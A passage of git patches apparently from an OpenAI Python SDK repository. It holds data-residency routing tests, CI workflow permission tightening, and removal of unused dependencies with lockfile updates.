+ assert json.loads(request.content) == {"message": "hello"}
+ assert not any("residency" in name for name in request.headers)
+ assert request.headers["Authorization"] == "Bearer test-key"
+ return httpx2.Response(200, request=request, json={"ok": True})
+
+
+def test_sync_request_only_changes_destination() -> None:
+ with httpx2.Client(transport=httpx2.MockTransport(check_request), trust_env=False) as transport:
+ client = OpenAI(api_key="test-key", base_url="https://original.example/v1", http_client=transport)
+ result = client.with_options(data_residency=REGIONS[0][0]).post(
+ "/data-residency-contract", cast_to=object, body={"message": "hello"}
+ )
+ assert result == {"ok": True}
+ assert client.base_url == httpx2.URL("https://original.example/v1/")
+
+
+async def test_async_request_only_changes_destination() -> None:
+ async with httpx2.AsyncClient(transport=httpx2.MockTransport(check_request), trust_env=False) as transport:
+ client = AsyncOpenAI(api_key="test-key", base_url="https://original.example/v1", http_client=transport)
+ result = await client.with_options(data_residency=REGIONS[0][0]).post(
+ "/data-residency-contract", cast_to=object, body={"message": "hello"}
+ )
+ assert result == {"ok": True}
+ assert client.base_url == httpx2.URL("https://original.example/v1/")
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "url"), REGIONS)
+def test_residency_replaces_inherited_websocket_url(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: DataResidency, url: str
+) -> None:
+ original = client_type(api_key="test-key", websocket_base_url="wss://original.example/v1")
+ regional = original.with_options(data_residency=region)
+ assert original.copy().websocket_base_url == original.websocket_base_url
+ assert original.copy(data_residency=None).websocket_base_url == original.websocket_base_url
+ assert regional.websocket_base_url is None
+ assert regional.copy().websocket_base_url is None
+ assert regional.base_url == httpx2.URL(url.rstrip("/") + "/")
+ for websocket_base_url in ("wss://custom.example/v1", httpx2.URL("wss://custom.example/v1")):
+ with pytest.raises(ValueError, match="`data_residency` and `websocket_base_url`"):
+ client_type(api_key="test-key", data_residency=region, websocket_base_url=websocket_base_url)
+ with pytest.raises(ValueError, match="`data_residency` and `websocket_base_url`"):
+ original.with_options(data_residency=region, websocket_base_url=websocket_base_url)
+ assert original.with_options(data_residency=region, websocket_base_url=None).websocket_base_url is None
diff --git a/tests/test_data_residency_regressions.py b/tests/test_data_residency_regressions.py
new file mode 100644
index 0000000000..66c3187726
--- /dev/null
+++ b/tests/test_data_residency_regressions.py
@@ -0,0 +1,108 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import (
+ OpenAI,
+ AsyncOpenAI,
+ AzureOpenAI,
+ OpenAIError,
+ BedrockOpenAI,
+ DataResidency,
+ AsyncAzureOpenAI,
+ AsyncBedrockOpenAI,
+)
+from openai.providers import bedrock
+from openai._data_residency import _DATA_RESIDENCY_BASE_URLS
+
+REGIONS: list[tuple[DataResidency, str]] = [
+ (region, url.rstrip("/") + "/") for region, url in _DATA_RESIDENCY_BASE_URLS.items()
+]
+
+
+@pytest.fixture(autouse=True)
+def clear_environment(monkeypatch: pytest.MonkeyPatch) -> None:
+ for name in ("OPENAI_API_KEY", "OPENAI_ADMIN_KEY", "OPENAI_BASE_URL", "OPENAI_CUSTOM_HEADERS"):
+ monkeypatch.delenv(name, raising=False)
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_provider_conflicts_and_explicit_switch(client_type: type[OpenAI] | type[AsyncOpenAI]) -> None:
+ provider = bedrock(region="us-east-1", api_key="test-bedrock-key")
+ with pytest.raises(OpenAIError, match="`data_residency` and `provider`"):
+ client_type(provider=provider, data_residency="eu")
+ original = client_type(provider=provider)
+ with pytest.raises(OpenAIError, match="`data_residency` and `provider`"):
+ original.with_options(data_residency="eu")
+ with pytest.raises(OpenAIError, match="`data_residency` and `provider`"):
+ client_type(api_key="test-key").with_options(provider=provider, data_residency="eu")
+ assert original.with_options(data_residency=None).base_url == original.base_url
+ assert original.with_options(provider=None, api_key="test-key", data_residency="eu").base_url == httpx2.URL(
+ "https://eu.api.openai.com/v1/"
+ )
+ regional = client_type(api_key="test-key", data_residency="eu")
+ assert regional.with_options(provider=provider).base_url == original.base_url
+
+
+@pytest.mark.parametrize("client_type", [AzureOpenAI, AsyncAzureOpenAI])
+def test_legacy_azure_rejects_residency(client_type: type[AzureOpenAI] | type[AsyncAzureOpenAI]) -> None:
+ client = client_type(api_key="test-azure-key", api_version="test", azure_endpoint="https://azure.example")
+ with pytest.raises(OpenAIError, match="only supported by OpenAI clients"):
+ client.with_options(data_residency="eu")
+ assert client.with_options(data_residency=None).base_url == client.base_url
+
+
+@pytest.mark.parametrize("client_type", [BedrockOpenAI, AsyncBedrockOpenAI])
+def test_legacy_bedrock_rejects_residency(client_type: type[BedrockOpenAI] | type[AsyncBedrockOpenAI]) -> None:
+ client = client_type(api_key="test-bedrock-key", aws_region="us-east-1")
+ with pytest.raises(OpenAIError, match="only supported by OpenAI clients"):
+ client.with_options(data_residency="eu")
+ assert client.with_options(data_residency=None).base_url == client.base_url
+
+
+def check_request(request: httpx2.Request) -> httpx2.Response:
+ assert request.url == httpx2.URL("https://eu.api.openai.com/v1/responses")
+ assert json.loads(request.content) == {"input": "Hello", "model": "gpt-5.6-sol"}
+ assert not any("residency" in name for name in request.headers)
+ assert request.headers["Authorization"] == "Bearer test-key"
+ return httpx2.Response(200, request=request, json={"id": "resp_test", "output": []})
+
+
+def test_sync_request_only_changes_destination() -> None:
+ with httpx2.Client(transport=httpx2.MockTransport(check_request), trust_env=False) as transport:
+ client = OpenAI(api_key="test-key", http_client=transport)
+ response = client.with_options(data_residency="eu").responses.create(model="gpt-5.6-sol", input="Hello")
+ assert response.id == "resp_test"
+ assert client.base_url == httpx2.URL("https://api.openai.com/v1/")
+
+
+async def test_async_request_only_changes_destination() -> None:
+ async with httpx2.AsyncClient(transport=httpx2.MockTransport(check_request), trust_env=False) as transport:
+ client = AsyncOpenAI(api_key="test-key", http_client=transport)
+ response = await client.with_options(data_residency="eu").responses.create(model="gpt-5.6-sol", input="Hello")
+ assert response.id == "resp_test"
+ assert client.base_url == httpx2.URL("https://api.openai.com/v1/")
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(("region", "url"), REGIONS)
+def test_residency_replaces_inherited_websocket_routing(
+ client_type: type[OpenAI] | type[AsyncOpenAI], region: DataResidency, url: str
+) -> None:
+ original = client_type(api_key="test-key", websocket_base_url="wss://third-party.example/v1")
+ regional = original.with_options(data_residency=region)
+ assert original.copy().websocket_base_url == original.websocket_base_url
+ assert original.copy(data_residency=None).websocket_base_url == original.websocket_base_url
+ assert original.realtime.connect()._prepare_url() == httpx2.URL("wss://third-party.example/v1/realtime")
+ assert original.responses.connect()._prepare_url() == httpx2.URL("wss://third-party.example/v1/responses")
+
+ for client in (regional, regional.copy(), client_type(api_key="test-key", data_residency=region)):
+ assert client.websocket_base_url is None
+ ws_url = url.replace("https://", "wss://")
+ assert client.realtime.connect()._prepare_url() == httpx2.URL(ws_url + "realtime")
+ assert client.responses.connect()._prepare_url() == httpx2.URL(ws_url + "responses")
+ assert client.beta.realtime.connect(model="gpt-4o")._prepare_url() == httpx2.URL(ws_url + "realtime")
+ assert client.beta.responses.connect()._prepare_url() == httpx2.URL(ws_url + "responses")
From 61ac784274ae9a4dd9e931b675d9ea87f10b554d Mon Sep 17 00:00:00 2001
From: Hayden
Date: Tue, 18 Aug 2026 16:36:54 +0000
Subject: [PATCH 024/341] ci: run CodeQL analysis for merge-queue entries
(#3643)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
- Run the existing advanced Python CodeQL analysis on `merge_group`
`checks_requested` events, in addition to the existing main-targeted
pull-request, main-push, and manual paths.
- Preserve the stable `Analyze Python` job/check name, SARIF category,
Python language, timeout, full-SHA CodeQL/checkout action pins, and
existing `actions: read`, `contents: read`, `security-events: write`
permissions.
- Set `persist-credentials: false` on checkout so repository credentials
are not left available to subsequent analysis steps.
- Keep ordinary `pull_request` behavior for external forks; existing
repository policy still requires a maintainer to approve
external-contributor workflow execution.
## Verification
- Parsed as YAML 1.2 and validated against the current GitHub Actions
workflow JSON Schema.
- Structural/event assertions confirm real CodeQL `init` + `analyze`,
existing PR/push/manual behavior, merge-queue-only `checks_requested`,
unchanged job/check identity and permissions, three immutable action
pins, and no skipped placeholder or `pull_request_target`.
- Confirmed a previously maintainer-approved external-fork PR completed
the real `Analyze Python` job successfully.
- `python scripts/check-python-version-policy.py`
- `git diff origin/main...HEAD --check`
## Required-check rollout safety
The active `main` ruleset already requires a merge queue, but there have
been **zero** CodeQL `merge_group` runs. Requiring any CodeQL check
immediately would deadlock legitimate merges, so this PR does not modify
live rules.
After this workflow reaches `main`, confirm `Analyze Python` succeeds on
an actual merge-group SHA and an approved fork PR. Only then add `{
"context": "Analyze Python", "integration_id": 15368 }` to the existing
required checks while preserving every current rule. The separate
`CodeQL` Advanced Security check and dynamic `Analyze (python)` check
are not proven to run on merge-group events.
---
.github/workflows/codeql.yml | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index 758a4b729b..116c38362e 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -7,6 +7,9 @@ on:
pull_request:
branches:
- main
+ merge_group:
+ types:
+ - checks_requested
workflow_dispatch:
permissions:
@@ -23,6 +26,8 @@ jobs:
steps:
- name: Check out repository
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ persist-credentials: false
- name: Initialize CodeQL
uses: github/codeql-action/init@7188fc363630916deb702c7fdcf4e481b751f97a # v4
From 44c1560ad2f707d68e3f28d66aae602f7626e187 Mon Sep 17 00:00:00 2001
From: Hayden
Date: Tue, 18 Aug 2026 16:40:53 +0000
Subject: [PATCH 025/341] ci: tighten Python workflow credential and token
permissions (#3644)
## Summary
- Run existing live-API examples only on trusted `main` pushes; preserve
all required pull-request and merge-queue checks.
- Remove unnecessary repository-content access from the upload-only
manual PyPI publishing job while preserving `id-token: write` and
Trusted Publishing.
- Remove unnecessary repository-content access from isolated
Python-version issue automation while preserving `issues: write`.
- Leave CodeQL, release GitHub App permissions, protected publishing
configuration, and fully pinned Actions unchanged.
## Verification
- Validated all six workflow YAML documents against the GitHub Actions
schema.
- Audited effective permissions for all 17 jobs and verified all 46
external Actions remain pinned to full commit SHAs.
- Verified trusted-main event behavior, unchanged required checks,
separate build/upload permissions, same-run artifact handling, and
unchanged CodeQL/release scopes.
- Confirmed the existing release workflow has successfully published
with the same OIDC-only upload permissions.
- Python support-policy check passed; `git diff --check` passed.
Administrator-managed repository and environment settings are
intentionally unchanged.
---
.github/workflows/ci.yml | 2 +-
.github/workflows/publish-pypi.yml | 1 -
.github/workflows/python-version-review.yml | 1 -
3 files changed, 1 insertion(+), 3 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 6783246815..662f51b012 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -172,7 +172,7 @@ jobs:
name: examples
environment: ci
runs-on: ubuntu-latest
- if: github.repository == 'openai/openai-python' && github.ref != 'refs/heads/release-please--branches--main' && (github.event_name == 'push' || github.event.pull_request.head.repo.fork)
+ if: github.repository == 'openai/openai-python' && github.event_name == 'push' && github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
diff --git a/.github/workflows/publish-pypi.yml b/.github/workflows/publish-pypi.yml
index d23cd66942..a14971f7f1 100644
--- a/.github/workflows/publish-pypi.yml
+++ b/.github/workflows/publish-pypi.yml
@@ -45,7 +45,6 @@ jobs:
# PyPI Trusted Publishing requires id-token: write. Keep it scoped to this
# minimal upload-only job rather than the build job.
permissions:
- contents: read
id-token: write
steps:
diff --git a/.github/workflows/python-version-review.yml b/.github/workflows/python-version-review.yml
index 04d33fe1eb..6627c43a87 100644
--- a/.github/workflows/python-version-review.yml
+++ b/.github/workflows/python-version-review.yml
@@ -175,7 +175,6 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
- contents: read
issues: write
steps:
- name: Download the Codex assessment
From eee8e4a7d0e42bb0d6b9aa01c4dd8e04aaac3ff4 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 18 Aug 2026 20:57:41 +0000
Subject: [PATCH 026/341] chore: remove unused dependencies and pin build
tooling (#3650)
## Summary
- Remove unused runtime and development dependencies.
- Keep pandas type stubs in the development environment rather than the
`datalib` extra.
- Replace the affected file-test matchers with direct assertions and pin
the existing README build hook.
- Refresh the lockfiles without upgrading retained packages. No SDK API
or Python-version changes.
## Dependency counts
Counts are unique third-party distribution names across supported
lockfile markers.
| Scope | Before | After |
| --- | ---: | ---: |
| Default runtime | 17 | 15 |
| All runtime extras | 41 | 37 |
| Development lock | 98 | 88 |
## Validation
- Ruff, Pyright, mypy, and import checks pass.
- Wheel and source distribution build and dependency-metadata checks
pass.
- Full mocked tests: 7,664 passed / 31 skipped with Pydantic v2; 7,650
passed / 45 skipped with v1.
[Full dependency review (internal access
required)](https://github.com/openai/openai-python-internal/blob/67531d875450449e2120a3aa54e4343fecf7bf21/docs/dependency-audit/2026-08-18/README.md).
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
pyproject.toml | 14 ++-----
requirements-dev.lock | 17 ---------
requirements.lock | 10 -----
tests/test_files.py | 16 +++-----
uv.lock | 87 ++++---------------------------------------
5 files changed, 17 insertions(+), 127 deletions(-)
diff --git a/pyproject.toml b/pyproject.toml
index 552d30e64b..d5408f74f1 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -15,8 +15,7 @@ dependencies = [
"anyio>=4.10.0, <5",
"distro>=1.7.0, <2",
"sniffio",
- "tqdm > 4",
- "jiter>=0.10.0, <1",
+ "jiter>=0.10.0, <1",
]
requires-python = ">= 3.10"
@@ -46,7 +45,7 @@ aiohttp = [
"aiohttp>=3.14.1",
]
realtime = ["websockets >= 13, < 16"]
-datalib = ["numpy >= 1", "pandas >= 1.2.3", "pandas-stubs >= 1.1.0.11"]
+datalib = ["numpy >= 1", "pandas >= 1.2.3"]
voice_helpers = ["sounddevice>=0.5.1", "numpy>=2.0.2"]
bedrock = [
"botocore>=1.40.0,<2",
@@ -62,18 +61,13 @@ dev-dependencies = [
"pytest-asyncio",
"jsonschema>=4.23.0",
"ruff",
- "time-machine",
"nox",
- "dirty-equals>=0.6.0",
- "importlib-metadata>=6.7.0",
"rich>=13.7.1",
"inline-snapshot>=0.28.0",
"azure-identity >=1.14.1",
"botocore==1.42.97",
- "types-tqdm > 4",
- "types-pyaudio > 0",
+ "pandas-stubs >= 1.1.0.11",
"trio >=0.22.2",
- "nest_asyncio==1.6.0",
"pytest-xdist>=3.6.1",
"griffe>=1",
]
@@ -108,7 +102,7 @@ typecheck = { chain = [
"typecheck:mypy" = "mypy ."
[build-system]
-requires = ["hatchling==1.26.3", "hatch-fancy-pypi-readme"]
+requires = ["hatchling==1.26.3", "hatch-fancy-pypi-readme==25.1.0"]
build-backend = "hatchling.build"
[tool.hatch.build]
diff --git a/requirements-dev.lock b/requirements-dev.lock
index efb71cd787..531ea0e490 100644
--- a/requirements-dev.lock
+++ b/requirements-dev.lock
@@ -53,7 +53,6 @@ colorama==0.4.6
# via colorlog
# via griffe
# via pytest
- # via tqdm
colorlog==6.10.1
# via nox
cryptography==46.0.3
@@ -62,7 +61,6 @@ cryptography==46.0.3
# via pyjwt
dependency-groups==1.3.1
# via nox
-dirty-equals==0.11
distlib==0.4.0
# via virtualenv
distro==1.9.0
@@ -95,7 +93,6 @@ idna==3.18
# via requests
# via trio
# via yarl
-importlib-metadata==8.7.1
iniconfig==2.1.0
# via pytest
inline-snapshot==0.31.1
@@ -121,7 +118,6 @@ multidict==6.7.1
mypy==1.17.0
mypy-extensions==1.1.0
# via mypy
-nest-asyncio==1.6.0
nodeenv==1.9.1
# via pyright
nox==2025.11.12
@@ -142,7 +138,6 @@ packaging==25.0
pandas==2.3.3
# via openai
pandas-stubs==2.2.2.240807
- # via openai
pathspec==0.12.1
# via mypy
platformdirs==4.4.0
@@ -173,7 +168,6 @@ pytest-xdist==3.8.0
python-dateutil==2.9.0.post0
# via botocore
# via pandas
- # via time-machine
pytz==2025.2
# via pandas
referencing==0.36.2
@@ -197,27 +191,18 @@ sortedcontainers==2.4.0
# via trio
sounddevice==0.5.3
# via openai
-time-machine==2.19.0
tomli==2.4.0 ; python_full_version < '3.11'
# via dependency-groups
# via inline-snapshot
# via mypy
# via nox
# via pytest
-tqdm==4.67.1
- # via openai
trio==0.31.0
truststore==0.10.4
# via httpcore2
# via httpx2
-types-pyaudio==0.2.16.20250801
types-pytz==2025.2.0.20251108
# via pandas-stubs
-types-requests==2.31.0.6
- # via types-tqdm
-types-tqdm==4.67.0.20250809
-types-urllib3==1.26.25.14
- # via types-requests
typing-extensions==4.15.0
# via aiohttp
# via aiosignal
@@ -250,5 +235,3 @@ websockets==15.0.1
# via openai
yarl==1.24.2
# via aiohttp
-zipp==3.23.0
- # via importlib-metadata
diff --git a/requirements.lock b/requirements.lock
index 0323bd6066..629abc0155 100644
--- a/requirements.lock
+++ b/requirements.lock
@@ -29,8 +29,6 @@ botocore==1.42.97
# via openai
cffi==2.0.0
# via sounddevice
-colorama==0.4.6 ; sys_platform == 'win32'
- # via tqdm
distro==1.9.0
# via openai
exceptiongroup==1.3.1 ; python_full_version < '3.11'
@@ -58,15 +56,11 @@ multidict==6.7.1
numpy==2.2.6 ; python_full_version < '3.11'
# via openai
# via pandas
- # via pandas-stubs
numpy==2.4.6 ; python_full_version >= '3.11'
# via openai
# via pandas
- # via pandas-stubs
pandas==2.3.3
# via openai
-pandas-stubs==2.2.2.240807
- # via openai
propcache==0.5.2
# via aiohttp
# via yarl
@@ -87,13 +81,9 @@ sniffio==1.3.1
# via openai
sounddevice==0.5.3
# via openai
-tqdm==4.67.1
- # via openai
truststore==0.10.4
# via httpcore2
# via httpx2
-types-pytz==2025.2.0.20251108
- # via pandas-stubs
typing-extensions==4.15.0
# via aiohttp
# via aiosignal
diff --git a/tests/test_files.py b/tests/test_files.py
index 56445fb550..ee7e9bcc74 100644
--- a/tests/test_files.py
+++ b/tests/test_files.py
@@ -2,7 +2,6 @@
import anyio
import pytest
-from dirty_equals import IsDict, IsList, IsBytes, IsTuple
from openai._files import to_httpx_files, deepcopy_with_paths, async_to_httpx_files
from openai._utils import extract_files
@@ -12,35 +11,30 @@
def test_pathlib_includes_file_name() -> None:
result = to_httpx_files({"file": readme_path})
- print(result)
- assert result == IsDict({"file": IsTuple("README.md", IsBytes())})
+ assert result == {"file": ("README.md", readme_path.read_bytes())}
def test_tuple_input() -> None:
result = to_httpx_files([("file", readme_path)])
- print(result)
- assert result == IsList(IsTuple("file", IsTuple("README.md", IsBytes())))
+ assert result == [("file", ("README.md", readme_path.read_bytes()))]
@pytest.mark.asyncio
async def test_async_pathlib_includes_file_name() -> None:
result = await async_to_httpx_files({"file": readme_path})
- print(result)
- assert result == IsDict({"file": IsTuple("README.md", IsBytes())})
+ assert result == {"file": ("README.md", readme_path.read_bytes())}
@pytest.mark.asyncio
async def test_async_supports_anyio_path() -> None:
result = await async_to_httpx_files({"file": anyio.Path(readme_path)})
- print(result)
- assert result == IsDict({"file": IsTuple("README.md", IsBytes())})
+ assert result == {"file": ("README.md", readme_path.read_bytes())}
@pytest.mark.asyncio
async def test_async_tuple_input() -> None:
result = await async_to_httpx_files([("file", readme_path)])
- print(result)
- assert result == IsList(IsTuple("file", IsTuple("README.md", IsBytes())))
+ assert result == [("file", ("README.md", readme_path.read_bytes()))]
def test_string_not_allowed() -> None:
diff --git a/uv.lock b/uv.lock
index 639ea6e4b1..83f4a38109 100644
--- a/uv.lock
+++ b/uv.lock
@@ -307,15 +307,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
]
-[[package]]
-name = "colorama"
-version = "0.4.6"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
-]
-
[[package]]
name = "distro"
version = "1.9.0"
@@ -330,7 +321,7 @@ name = "exceptiongroup"
version = "1.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "typing-extensions" },
+ { name = "typing-extensions", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
wheels = [
@@ -918,7 +909,6 @@ dependencies = [
{ name = "jiter" },
{ name = "pydantic" },
{ name = "sniffio" },
- { name = "tqdm" },
{ name = "typing-extensions" },
]
@@ -934,8 +924,6 @@ datalib = [
{ name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
{ name = "pandas", version = "2.3.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
{ name = "pandas", version = "3.0.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
- { name = "pandas-stubs", version = "2.3.3.260113", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
- { name = "pandas-stubs", version = "3.0.3.260530", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
]
realtime = [
{ name = "websockets" },
@@ -957,11 +945,9 @@ requires-dist = [
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
{ name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
{ name = "pandas", marker = "extra == 'datalib'", specifier = ">=1.2.3" },
- { name = "pandas-stubs", marker = "extra == 'datalib'", specifier = ">=1.1.0.11" },
{ name = "pydantic", specifier = ">=1.9.0,<3" },
{ name = "sniffio" },
{ name = "sounddevice", marker = "extra == 'voice-helpers'", specifier = ">=0.5.1" },
- { name = "tqdm", specifier = ">4" },
{ name = "typing-extensions", specifier = ">=4.14,<5" },
{ name = "websockets", marker = "extra == 'realtime'", specifier = ">=13,<16" },
]
@@ -975,10 +961,10 @@ resolution-markers = [
"python_full_version < '3.11'",
]
dependencies = [
- { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" } },
- { name = "python-dateutil" },
- { name = "pytz" },
- { name = "tzdata" },
+ { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+ { name = "python-dateutil", marker = "python_full_version < '3.11'" },
+ { name = "pytz", marker = "python_full_version < '3.11'" },
+ { name = "tzdata", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/33/01/d40b85317f86cf08d853a4f495195c73815fdf205eef3993821720274518/pandas-2.3.3.tar.gz", hash = "sha256:e05e1af93b977f7eafa636d043f9f94c7ee3ac81af99c13508215942e64c993b", size = 4495223, upload-time = "2025-09-29T23:34:51.853Z" }
wheels = [
@@ -1044,9 +1030,9 @@ resolution-markers = [
"python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
]
dependencies = [
- { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" } },
- { name = "python-dateutil" },
- { name = "tzdata", marker = "sys_platform == 'emscripten' or sys_platform == 'win32'" },
+ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
+ { name = "python-dateutil", marker = "python_full_version >= '3.11'" },
+ { name = "tzdata", marker = "(python_full_version >= '3.11' and sys_platform == 'emscripten') or (python_full_version >= '3.11' and sys_platform == 'win32')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f8/87/4341c6252d1c47b08768c3d25ac487362bf403f0313ddae4a2a26c9b1b4c/pandas-3.0.3.tar.gz", hash = "sha256:696a4a00a2a2a35d4e5deb3fc946641b96c944f02230e4f76137fe35d806c4fc", size = 4651414, upload-time = "2026-05-11T18:54:29.21Z" }
wheels = [
@@ -1099,42 +1085,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0f/54/68a0978d1ef8502b8492099beaa6e7a0c1b32e3b5d4f677f5810cb08711c/pandas-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:b2c95f8bfc1ee412bf482605d7bfd30c12d1d26bd59fdd91efeef1d4718decb1", size = 9466464, upload-time = "2026-05-11T18:54:22.754Z" },
]
-[[package]]
-name = "pandas-stubs"
-version = "2.3.3.260113"
-source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
- "python_full_version < '3.11'",
-]
-dependencies = [
- { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" } },
- { name = "types-pytz" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/92/5d/be23854a73fda69f1dbdda7bc10fbd6f930bd1fa87aaec389f00c901c1e8/pandas_stubs-2.3.3.260113.tar.gz", hash = "sha256:076e3724bcaa73de78932b012ec64b3010463d377fa63116f4e6850643d93800", size = 116131, upload-time = "2026-01-13T22:30:16.704Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/d1/c6/df1fe324248424f77b89371116dab5243db7f052c32cc9fe7442ad9c5f75/pandas_stubs-2.3.3.260113-py3-none-any.whl", hash = "sha256:ec070b5c576e1badf12544ae50385872f0631fc35d99d00dc598c2954ec564d3", size = 168246, upload-time = "2026-01-13T22:30:15.244Z" },
-]
-
-[[package]]
-name = "pandas-stubs"
-version = "3.0.3.260530"
-source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
-]
-dependencies = [
- { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" } },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/3d/aa/c41a8a0ff86fd85dbb3ec0c1f3fa488ca64a8b5f82654ae1b07d84acefe5/pandas_stubs-3.0.3.260530.tar.gz", hash = "sha256:d1efe47b2e5a312c047d7feabec5cb7a55365747983420077e9fcbe9ab74f714", size = 113183, upload-time = "2026-05-30T17:47:40.34Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/0b/e0/99ec5b02203c4e9ce878bc63d8caa06ac1f891e4d63bded9a5ced70fcb4f/pandas_stubs-3.0.3.260530-py3-none-any.whl", hash = "sha256:a6277eb1c8cebf48d9b2413fcd2e9a6b4ff479c934a223c29eacbc3058c4cb55", size = 173780, upload-time = "2026-05-30T17:47:39.13Z" },
-]
-
[[package]]
name = "propcache"
version = "0.5.2"
@@ -1458,18 +1408,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/4e/39/a61d4b83a7746b70d23d9173be688c0c6bfc7173772344b7442c2c155497/sounddevice-0.5.5-py3-none-win_arm64.whl", hash = "sha256:3861901ddd8230d2e0e8ae62ac320cdd4c688d81df89da036dcb812f757bb3e6", size = 317115, upload-time = "2026-01-23T18:36:42.235Z" },
]
-[[package]]
-name = "tqdm"
-version = "4.68.3"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "colorama", marker = "sys_platform == 'win32'" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/87/d7/0535a28b1f5f24f6612fb3ff1e89fb1a8d160fee0f976e0aa6803862134b/tqdm-4.68.3.tar.gz", hash = "sha256:00dfa48452b6b6cfae3dd9885636c23d3422d1ec97c66d96818cbd5e0821d482", size = 170596, upload-time = "2026-06-17T07:36:52.105Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/d8/8e/bb97bb0c71802080bfc8952937d174e49cfc50de5c951dd47b2496f0dcdb/tqdm-4.68.3-py3-none-any.whl", hash = "sha256:39832cc2def2789a6f29df83f172db7416cea70052c0907a57801c5f2fdccb03", size = 78337, upload-time = "2026-06-17T07:36:50.132Z" },
-]
-
[[package]]
name = "truststore"
version = "0.10.4"
@@ -1479,15 +1417,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
]
-[[package]]
-name = "types-pytz"
